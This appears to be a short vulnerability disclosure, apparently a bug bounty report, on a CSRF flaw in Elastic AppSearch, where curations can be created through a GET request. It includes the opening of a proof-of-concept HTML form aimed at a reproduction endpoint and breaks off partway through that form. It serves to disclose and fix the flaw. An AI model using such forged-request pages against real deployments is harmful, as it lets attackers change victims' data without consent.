CSRF in AppSearch allows creation of "curations"

Hello team! The curations creation for AppSearch engines can happen on a GET request which means there's no CSRF protection.

<html>
	<head></head>
	<body>
		<form action="https://h1repro.kb.eu-west-1.aws.found.io:9243/internal/app_search/engines/national-parks-demo/curations/find_or_create" method="get">
			<label for="query">Enter the curation you want to create: </label>
			<input type="text" name="query" id="query" …